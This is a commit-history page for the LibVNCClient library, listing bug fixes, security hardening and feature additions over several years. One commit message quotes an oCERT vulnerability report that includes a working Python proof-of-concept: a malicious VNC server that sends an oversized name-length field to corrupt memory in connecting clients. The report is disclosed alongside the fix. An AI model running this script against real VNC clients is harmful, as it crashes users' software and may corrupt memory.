Commit Graph

105 Commits (d3a4292aa9ade2a335e0915523506b73e94251d7)

Author SHA1 Message Date
Christian Beier a64c3b37af
LibVNCClient: remove now-useless cast
re #273
6 years ago
Christian Beier c2c4b81e6c
LibVNCClient: fail on server-sent desktop name lengths longer than 1MB
re #273
6 years ago
Christian Beier 139da17b6e
Merge pull request #267 from veyon/external-lzo
Allow to use global LZO library instead of miniLZO
6 years ago
Christian Beier e34bcbb759
LibVNCClient: ignore server-sent reason strings longer than 1MB
Fixes #273
6 years ago
Christian Beier c5ba3fee85
LibVNCClient: ignore server-sent cut text longer than 1MB
This is in line with how LibVNCServer does it
(28afb6c537) and fixes part of #273.
6 years ago
Tobias Junghans e66a8a17f3 Allow to use global LZO library instead of miniLZO
The complete LZO library nowadays is installed on many systems so we can
optionally make use of it and omit internal miniLZO implementation.
6 years ago
Christian Beier cfdbb94038
Merge pull request #263 from veyon/custom-auth-handlers
LibVNCClient: add support for custom auth handlers
6 years ago
Tobias Junghans 5f9a07d7e1 LibVNCClient: add support for custom auth handlers
This allows to register custom authentication handlers in order to
support additional security types.
6 years ago
Christian Beier f997b5a75f
Merge pull request #261 from veyon/misc-fixes
Misc fixes
6 years ago
Tobias Junghans a70d3b2710 common: d3des: drop unused rfbCPKey() 6 years ago
Tobias Junghans 343eaabd7c LibVNCClient: init pad field for set encodings msg 6 years ago
Christian Beier a83439b9fb
LibVNCClient: fix three possible heap buffer overflows
An attacker could feed `0xffffffff`, causing a `malloc(0)` for the
buffers which are subsequently written to.

Closes #247
6 years ago
Christian Beier c3115350eb
LibVNCClient: fix possible infinite loop
Closes #251
6 years ago
Christian Beier 2f5b2ad1c6
LibVNCClient: don't leak uninitialised memory to remote
The pad fields of the rfbClientCutTextMsg and rfbKeyEventMsg could contain arbitray memory belonging to the process,
don't leak this to the remote.

Closes #252
6 years ago
Christian Beier 8b06f835e2
When connecting to a repeater, only send initialised string
Closes #253
6 years ago
Christian Beier d34c7b07ac
Merge pull request #203 from dcommander/turbovnc-client
Include Tight decoding optimizations from TurboVNC
7 years ago
DRC d7b14624cb Include Tight decoding optimizations from TurboVNC
- As with the encoder, the decoder now uses the TurboJPEG wrapper, which
  allows it to decode JPEG images directly into the framebuffer.  This
  eliminates a buffer copy (CopyRectangle()) as well as the expensive
  RGB pixel conversion in DecompressJpegRectBPP().  The TurboJPEG
  wrapper performs RGB pixel conversion more optimally, and only when
  necessary (it uses the libjpeg-turbo colorspace extensions when
  available, in order to avoid RGB conversion.)
- The other Tight subencoding types are also now decoded directly into
  the framebuffer, which eliminates buffer copies.
- The Tight decoder now supports the rfbTightNoZlib extension, which
  allows the server to bypass zlib compression when Compression Level 0
  is selected.  The encoder already supports this extension.  Passing
  the data stream through zlib when Compression Level 0 is selected
  needlessly wastes CPU time, since all zlib is doing is copying the
  data internally into its own structures.
7 years ago
Wiki Wang beb82f8dde Add trle decoder 8 years ago
Christian Beier 6814e946e0
libvncclient: rename rfbsasl.[c|h] to sasl.[c|h] to be in line with naming of other files 8 years ago
Christian Beier df11e806a3
Move HAVE_SASL #ifdefs into header file to have less LOC 8 years ago
simon cb4e15c1ae Added SASL authentication support
Added SASL support to OpenSSL
8 years ago
Balazs Ludmany a01a18df1d Add function pointers for every type of rectangle 9 years ago
Christian Beier d28d20f56d Merge pull request #110 from AlexejStukov/patch-1
break statement out of case
9 years ago
zbierak 9b82dee3a4 Fix buffer overflow when applying client encodings 9 years ago
Norrec ab694621f5 break statement out of case 9 years ago
SpaceOne 488a47e3dd Ignore null pointers in FillRectangle() and CopyRectangleFromRectangle() 9 years ago
Christian Beier 7c7e8e765c Re-add the useful bits of 9aa9ac59b4. 10 years ago
Christian Beier 612de004c4 Revert "LibVNCClient: Add H.264 encoding for framebuffer updates"
This reverts commit d891478ec9.

Conflicts:
	configure.ac
	libvncclient/h264.c
10 years ago
Christian Beier f5abd4ab20 Merge pull request #69 from nopdotcom/master
Avoid divide-by-zero in raw encoding (OSX RealVNC)
10 years ago
Jay Carlson 79d938c16b Avoid divide-by-zero in raw encoding (OSX RealVNC)
OS X RealVNC server crashes out Remmina because the server can provoke
bytesPerLine to be zero. Assume this is coding for zero lines.

The condition could be checked before the calculation of bytesPerLine.
I don’t understand the preconditions of this code to say one way or the
other.
10 years ago
Floris Bos 4674d4632b Initialize libgcrypt before use
https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html
"Before the library can be used, it must initialize itself.
This is achieved by invoking the function gcry_check_version"

Closes issue #45
Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package)
connecting to a Mac Mini.

Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
10 years ago
Christian Beier 7ef0ae905c Fix possible libvncclient ServerInit memory corruption.
This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()
11 years ago
Daniel Cohen Gindi fbf48c65f3 `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated
For all of those missing/deprecated POSIX functions, we just add a macro mapping to the _underscored version of MSVC.
11 years ago
Daniel Cohen Gindi cd578bf529 MSVC: Use _snprintf instead of snprintf
In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter.

[JES: fixed commit message]

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
Johannes Schindelin 27b0c0deb7 Fix indentation
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
newsoft 85a778c0e4 Check for MallocFrameBuffer() return value
If MallocFrameBuffer() returns FALSE, frame buffer pointer is left to
NULL. Subsequent writes into that buffer could lead to memory
corruption, or even arbitrary code execution.
11 years ago
Matthias Treydte b6b8889306 Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. 11 years ago
Johannes Schindelin a705cd625c libvncclient: If we have TLS support, enable VeNCrypt by default
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
David Verbeiren d891478ec9 LibVNCClient: Add H.264 encoding for framebuffer updates
This patch implements support in LibVNCClient for framebuffer updates
encoded as H.264 frames. Hardware accelerated decoding is performed
using VA API.

This is experimental support to let the community explore the possibilities
offered by the potential bandwidth and latency reductions that H.264 encoding
allows. This may be particularly useful for use cases such as online gaming,
hosted desktops, hosted set top boxes...

This patch only provides the client side support and is meant to be used
with corresponding server-side support, as provided by an upcoming patch for
qemu ui/vnc module (to view the display of a virtual machine executing under
QEMU).

With this H.264-based encoding, if multiple framebuffer update messages
are generated for a single server framebuffer modification, the H.264
frame data is sent only with the first update message. Subsequent update
framebuffer messages will contain only the coordinates and size of the
additional updated regions.

Instructions/Requirements:
* The patch should be applied on top of the previous patch I submitted with
minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804
* Currently only works with libva 1.0: use branch "v1.0-branch" for libva and
intel-driver. Those can be built as follows:
   cd libva
   git checkout v1.0-branch
   ./autogen.sh
   make
   sudo make install
   cd ..
   git clone git://anongit.freedesktop.org/vaapi/intel-driver
   cd intel-driver
   git checkout v1.0-branch
   ./autogen.sh
   make
   sudo make install

Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
12 years ago
Raphael Kubo da Costa ec3fff609c Include strings.h for strncasecmp(3) 13 years ago
Raphael Kubo da Costa 4c148e5f74 Tune the definitions needed when building with -ansi.
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.

However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).

_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
13 years ago
Christian Beier 2a97ab8679 Fix some compiler warnings that hinted some no too unimportant errors. 13 years ago
Christian Beier 231763cb0e LibVNCClient: #undef these types in case it's WIN32.
The various other headers include windows.h and the winsock headers
which give an error when SOCKET and socklen_t are already defined.
13 years ago
Monkey 2524573678 Added support for UltraVNC Single Click as originally proposed by Noobius (Boobius) on 6/1/11.
Original thread: http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860
13 years ago
Christian Beier 77286f0831 LibVNCClient: Remove all those WITH_CLIENT_TLS #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. 13 years ago
Christian Beier 27b4372c94 When GetCredential() callback is not set, don't use authentications requiring it.
The auth methods that employ Getcredential() will only be used if the client's
GetCredential callback is actually set.
13 years ago
Christian Beier e92951d19d Remove useless comparisons that always evaluate to false.
There can not be more than 255 security types and MSLogon is
RFB 3.6 only.
14 years ago
Christian Beier fe1ca16e9b Fix (most) MinGW32 compiler warnings. 14 years ago
Christian Beier 8909e9fe44 Let libvncclient build with gcrypt for MinGW32 builds.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
14 years ago
Vic Lee 030ccf673d Add ARD (Apple Remote Desktop) security type support
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Christian Beier <dontmind@freeshell.org>
14 years ago